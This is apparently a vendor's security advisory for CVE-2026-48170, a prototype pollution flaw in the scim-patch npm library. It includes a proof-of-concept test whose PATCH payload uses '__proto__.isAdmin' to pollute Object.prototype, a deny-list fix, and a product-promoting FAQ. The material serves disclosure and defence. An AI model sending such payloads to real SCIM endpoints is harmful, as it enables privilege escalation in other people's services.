CVE-2026-48170

scimPatch vulnerable to prototype pollution via unfiltered keys in patch

function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
    if (typeof patch.value !== 'object') { ... }

    // src/scimPatch.ts:423-427
    for (const [key, value] of Object.entries(patch.value)) {
        assign(property, resolvePaths(key), value, patch.op);
    }
    return property;
}

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i < lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj["__proto__"] === Object.prototype
    }
    // ... assigns into Object.prototype
}

import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => {
    let scimUser: ScimUser;

    beforeEach(() => {
        scimUser = JSON.parse(`{
          "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
          "id": "tea_4",
          "userName": "spiderman",
          "name": { "familyName": "Parker", "givenName": "Peter" },
          "active": true,
          "emails": [{ "value": "[email protected]", "primary": true }],
          "roles": [],
          "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
        }`);
    });

    afterEach(() => {
        delete (Object.prototype as any).polluted;
        delete (Object.prototype as any).isAdmin;
    });

    it('pollutes Object.prototype via a value-key containing __proto__', () => {
        expect(({} as any).polluted).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.polluted': 'yes' }
        }]);

        expect((Object.prototype as any).polluted).to.equal('yes');
        expect(({} as any).polluted).to.equal('yes');
    });

    it('elevates Object.prototype.isAdmin, the admin-escalation shape', () => {
        expect(({} as any).isAdmin).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.isAdmin': true }
        }]);

        expect((Object.prototype as any).isAdmin).to.equal(true);
        expect(({} as any).isAdmin).to.equal(true);
    });
});

• Class: Prototype pollution (CWE-1321)
• Affected versions: <= 0.9.0 (current HEAD 871b1e2)
• Attack vector: Network, sent as part of a normal SCIM PATCH /Users/:id request body.
• Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
• Scope: Changed, the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:

• Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that expects the key to be absent.
• Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check, a real incident at one consumer).
• Persistence: lasts until the Node process restarts, so the blast radius is every request that container handles after the pollution.

CVE-2026-48170 has a CVSS score of 9.1 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.1); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Reject the three dangerous keys in assign() before the walk. Minimal patch:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    for (const key of keyPath) {
        if (DANGEROUS_KEYS.has(key)) {
            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
        }
    }
    // ... existing logic
}

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change, legitimate SCIM clients never send these keys.

1. What is CVE-2026-48170? CVE-2026-48170 is a critical-severity security vulnerability in scim-patch (npm), affecting versions <= 0.9.0. It is fixed in 0.9.1.
2. How severe is CVE-2026-48170? CVE-2026-48170 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of scim-patch are affected by CVE-2026-48170? scim-patch (npm) versions <= 0.9.0 is affected.
4. Is there a fix for CVE-2026-48170? Yes. CVE-2026-48170 is fixed in 0.9.1. Upgrade to this version or later.
5. Is CVE-2026-48170 exploitable, and should I be worried? Whether CVE-2026-48170 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-48170 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-48170? Upgrade scim-patch to 0.9.1 or later.